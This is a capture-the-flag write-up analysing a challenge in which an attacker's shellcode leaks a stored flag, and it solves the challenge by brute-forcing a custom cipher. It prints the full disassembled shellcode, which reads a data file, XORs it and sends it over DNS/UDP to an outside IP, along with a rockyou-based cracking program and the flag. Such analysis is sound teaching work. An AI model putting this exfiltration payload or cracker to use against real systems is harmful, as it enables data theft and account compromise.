Challenge - Santa's Secure Data Storage
In order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.
According to the paradigm Always implement your own crypto the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.
Santa is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the secure password generator shuf -n1 rockyou.txt
.
Giving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!
Mission
Santa and the elves need your help! The intrusion detection system captured the network traffic of the whole attack. How did the attacker got in? Was (s)he able to steal the flag?
Given was the linux (socat
) server application as binary and the captured network traffic. The server application had a simple login & user creation prompt and the ability to store data. Passwords were stored as custom hash, the user data encrypted with a custom rolled cryptographic function.
First step was to disassemble the binary. It was a 64-bit executable with some debug symbols left in. This made the disassembled, and later with retdec
and ghidra
decompiled code very readable. We got a rough overview of the code, especially the en- & decryption parts. Most notably that the decryption key is the hash of the users password. Next we moved on to the network trace which we analyzed with wireshark
.
There were two interesting things in it. For one, when the attacker was in the main menu prompt, he deployed an exploit by appending it to his selection. Presumably it worked by overflowing one of the stack allocated buffers we saw earlier and rewriting a return address to execute the payload. The second thing of interest was a DNS query from the victim to the attacker that followed the deployment of the payload. It did not contain a regular name to be queried but binary data. Apparently the attacker was able to extract something. |
Our goal was to retrieve the flag and the only places it could be was either the payload or the extracted data in the DNS query. We chose to go with the query as it made the most sense. In the query there were 34 bytes from which we assumed they must contain the flag. Since the bytes made no sense whatsoever we further assumed they were still encrypted as the server doesn't hold the unencrypted data very long.
Bruteforcing the password for the encrypted data via the server application was very slow. It required creating a new user for each entry in the password list and hoping the manually placed encrypted data file can be decrypted with this users password hash. Even programmatically attaching to stdin
/stdout
was slow. So we tried to get the hash and decryption method running locally in our brute force application. None of the decompiled functions produced correct results (verified with known password hashes and encrypted data). Ghidra
produced the nearly working code however, and we felt comfortable fixing it. The listings below shows what the decompiler gave us and what our semi-cleaned version looked like on the example of the keystream_get_char()
function.
Output of ghidra
:
long keystream_get_char(uint param_1,long param_2)
{
uint uVar1;
undefined8 local_22;
undefined2 local_1a;
char local_9;
local_22 = 0x563412c0efbeadde;
local_1a = 0x9a78;
uVar1 = (uint)((int)param_1 >> 0x1f) >> 0x1c;
local_9 = *(char *)(param_2 + (int)((param_1 + uVar1 & 0xf) - uVar1));
return (long)(int)((int)*(char *)((long)&local_22 + (ulong)(long)local_9 % 10) ^
(int)local_9 ^ param_1);
}
Fixed and cleaned version:
uint8_t keystream_get_char(int32_t i, const uint8_t* pwdhash)
{
uint8_t lookup[] = { 0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a };
uint8_t element = pwdhash[i & 0xf];
return (uint8_t)(lookup[element % 10] ^ element ^ i);
}
Most work was to see the intended purpose on byte basis behind all the 64-bit operations. Eventually we got calc_hash()
, keystream_get_char()
and decrypt()
running and could bruteforce the data file with rockyou.txt in matter of seconds instead of hours. But we got no result...
Our suspicion rose that the data in the DNS query wasn’t just the encrypted flag. We disassembled the exploit the attack used, using some online tool and found that the data seems to be modified before transmission. This was also confirmed to us by fellow hacker "MtHonegg".
In the following listing you can see the commented x64 assembly code. The loop around offset 0x0069
is what drew our attention. After the file is loaded, every 4 bytes are xor
'd with 0xdeadbeef
and only then sent back to the attacker! So before decrypting we need to reverse this operation. Only then we'd have the encrypted data.
0000 68 74 78 74 00 push 0x747874 ; "txt"
0005 48 bf 74 61 5f 64 61 74 61 2e movabs rdi,0x2e617461645f6174 ; "ta_data."
000f 57 push rdi
0010 48 bf 64 61 74 61 2f 73 61 6e movabs rdi,0x6e61732f61746164 ; "data/san"
001a 57 push rdi
001b 48 89 e7 mov rdi,rsp ; arg1: path
001e 48 31 f6 xor rsi,rsi ; arg2: O_RDONLY
0021 48 31 d2 xor rdx,rdx ; arg3: mode
0024 b8 02 00 00 00 mov eax,0x2 ; syscall no. 2
0029 0f 05 syscall ; open()
002b 48 89 c7 mov rdi,rax
002e 48 ba 00 00 01 00 01 00 00 00 movabs rdx,0x100010000
0038 52 push rdx
0039 6a 00 push 0x0
003b 6a 00 push 0x0
003d 6a 00 push 0x0
003f 6a 00 push 0x0
0041 48 89 e6 mov rsi,rsp
0044 48 ba 01 00 00 00 00 00 00 20 movabs rdx,0x2000000000000001
004e 52 push rdx
004f 48 ba 00 00 00 13 37 01 00 00 movabs rdx,0x13713000000
0059 52 push rdx
005a ba 20 00 00 00 mov edx,0x20
005f b8 00 00 00 00 mov eax,0x0 ; syscall no. 0
0064 0f 05 syscall ; read()
0066 48 31 c9 xor rcx,rcx ; rcx = 0
0069 81 34 0e ef be ad de xor DWORD PTR [rsi+rcx*1],0xdeadbeef
0070 48 83 c1 04 add rcx,0x4 ; rcx += 4
0074 48 83 f9 20 cmp rcx,0x20 ; if(rcx == 32)
0078 75 ef jne 0x00000069 ; jump 0x69 -> loop
007a bf 02 00 00 00 mov edi,0x2 ; arg1: AF_INET
007f be 02 00 00 00 mov esi,0x2 ; arg2: SOCK_DGRAM
0084 48 31 d2 xor rdx,rdx ; arg3: protocol
0087 b8 29 00 00 00 mov eax,0x29 ; syscall no. 41
008c 0f 05 syscall ; socket()
008e 48 89 c7 mov rdi,rax
0091 48 89 e6 mov rsi,rsp
0094 48 83 c6 03 add rsi,0x3
0098 ba 32 00 00 00 mov edx,0x32
009d 41 ba 00 00 00 00 mov r10d,0x0
00a3 6a 00 push 0x0
00a5 49 b8 02 00 00 35 c0 a8 00 2a movabs r8,0x2a00a8c035000002 ; set ip: 192.168.0.42
00af 41 50 push r8
00b1 49 89 e0 mov r8,rsp
00b4 41 b9 10 00 00 00 mov r9d,0x10
00ba b8 2c 00 00 00 mov eax,0x2c ; syscall no. 44
00bf 0f 05 syscall ; sendto
00c1 bf 00 00 00 00 mov edi,0x0
00c6 b8 3c 00 00 00 mov eax,0x3c ; syscall no. 60
00cb 0f 05 syscall ; exit
00cd 0a .byte 0xa
Reading the code of the exploit we also realized that the encrypted data is supposed to be 32 bytes long. In the DNS query were got 34. After short research it turned out that the leading byte 0x20
was actually part of the protocol and indicates the length. The trailing 0x00
was a terminator. Removing both, with the xor in place we got the flag after a few seconds of brute force.
Password 'xmasrocks' looks good:
HV20{0h_n0es_fl4g_g0t_l34k3d!1}
Done. Checked 14344871 passwords.
All in all we liked the challenge. It was technical and its aspects were what we'd consider real hacking. Furthermore, we learned to not be afraid of assembly. The source code for our program that we used to solve the challenge, can be found below. Actually it is a cleaned up version, as the original was a mess and included various "unit tests".
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
uint8_t keystream_get_char(int32_t i, const uint8_t* pwdhash)
{
uint8_t lookup[] = { 0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a };
uint8_t element = pwdhash[i & 0xf];
return (uint8_t)(lookup[element % 10] ^ element ^ i);
}
void decrypt(uint8_t* data, const uint8_t* hash, int max)
{
for (int i = 0; i < max; ++i)
{
uint8_t key = keystream_get_char(i, hash);
data[i] = data[i] ^ key;
}
}
void calc_hash(const char* in, ulong len, uint32_t* dest)
{
char cVar1;
ulong local_58 = 0x68736168;
ulong local_50 = 0xdeadbeef;
ulong local_48 = 0x65726f6d;
ulong local_40 = 0xc00ffeee;
ulong local_10 = 0x68736168;
ulong local_18 = 0xdeadbeef;
ulong local_20 = 0x65726f6d;
ulong local_28 = 0xc00ffeee;
int i = 0;
while ((ulong)(long)i < len) {
cVar1 = in[i];
local_50 = local_10 ^
(long)(int)(cVar1 * i & 0xffU ^ (int)cVar1 |
((int)cVar1 * (i + 0x31) & 0xffU ^ (int)cVar1) << 0x18 |
((int)cVar1 * (i + 0x42) & 0xffU ^ (int)cVar1) << 0x10 |
((int)cVar1 * (i + 0xef) & 0xffU ^ (int)cVar1) << 8);
local_48 = local_18 ^
(long)(int)(cVar1 * i & 0x5aU ^ (int)cVar1 |
((int)cVar1 * (i + 0xc0) & 0xffU ^ (int)cVar1) << 0x18 |
((int)cVar1 * (i + 0x11) & 0xffU ^ (int)cVar1) << 0x10 |
((int)cVar1 * (i + 0xde) & 0xffU ^ (int)cVar1) << 8);
local_40 = local_20 ^
(long)(int)(cVar1 * i & 0x22U ^ (int)cVar1 |
((int)cVar1 * (i + 0xe3) & 0xffU ^ (int)cVar1) << 0x18 |
((int)cVar1 * (i + 0xde) & 0xffU ^ (int)cVar1) << 0x10 |
((int)cVar1 * (i + 0xd) & 0xffU ^ (int)cVar1) << 8);
local_58 = local_28 ^
(long)(int)(cVar1 * i & 0xefU ^ (int)cVar1 |
((int)cVar1 * (i + 0x52) & 0xffU ^ (int)cVar1) << 0x18 |
((int)cVar1 * (i + 0x24) & 0xffU ^ (int)cVar1) << 0x10 |
((int)cVar1 * (i + 0x33) & 0xffU ^ (int)cVar1) << 8);
i = i + 1;
local_28 = local_58;
local_20 = local_40;
local_18 = local_48;
local_10 = local_50;
}
dest[0] = local_58;
dest[1] = local_50;
dest[2] = local_48;
dest[3] = local_40;
return;
}
int main()
{
uint8_t santa_data_xored[] = {
0xe5, 0xaf, 0xe5, 0x9d, 0x31, 0xac, 0xa3, 0xca,
0x21, 0x1e, 0xc3, 0x79, 0xa6, 0x73, 0x23, 0x5e,
0xda, 0xb6, 0xa0, 0x8d, 0x2e, 0xd3, 0xb7, 0xb6,
0x6b, 0x55, 0x85, 0x7e, 0xc8, 0x34, 0x22, 0x7a };
uint8_t santa_data[32] = { 0 };
uint32_t* src = (uint32_t*)santa_data_xored;
uint32_t* dst = (uint32_t*)santa_data;
for (int i = 0; i < 8; i++)
{
*dst++ = *src++ ^ 0xdeadbeef;
}
char line[255];
uint8_t pwdhash[16];
uint8_t inplace[64];
uint32_t counter = 0;
FILE* file = fopen("rockyou.txt", "r");
while (fgets(line, 255, file))
{
int len = strlen(line);
line[len - 1] = '\0';
calc_hash(line, len - 1, (uint32_t*)&pwdhash);
memcpy(inplace, santa_data, 32);
decrypt(inplace, pwdhash, 32);
if (strstr((const char*)inplace, "HV20{") != 0)
{
printf("Password '%s' looks good:\n", line);
puts((const char*)inplace);
}
counter++;
}
printf("Done. Checked %u passwords.\n", counter);
fclose(file);
return 0;
}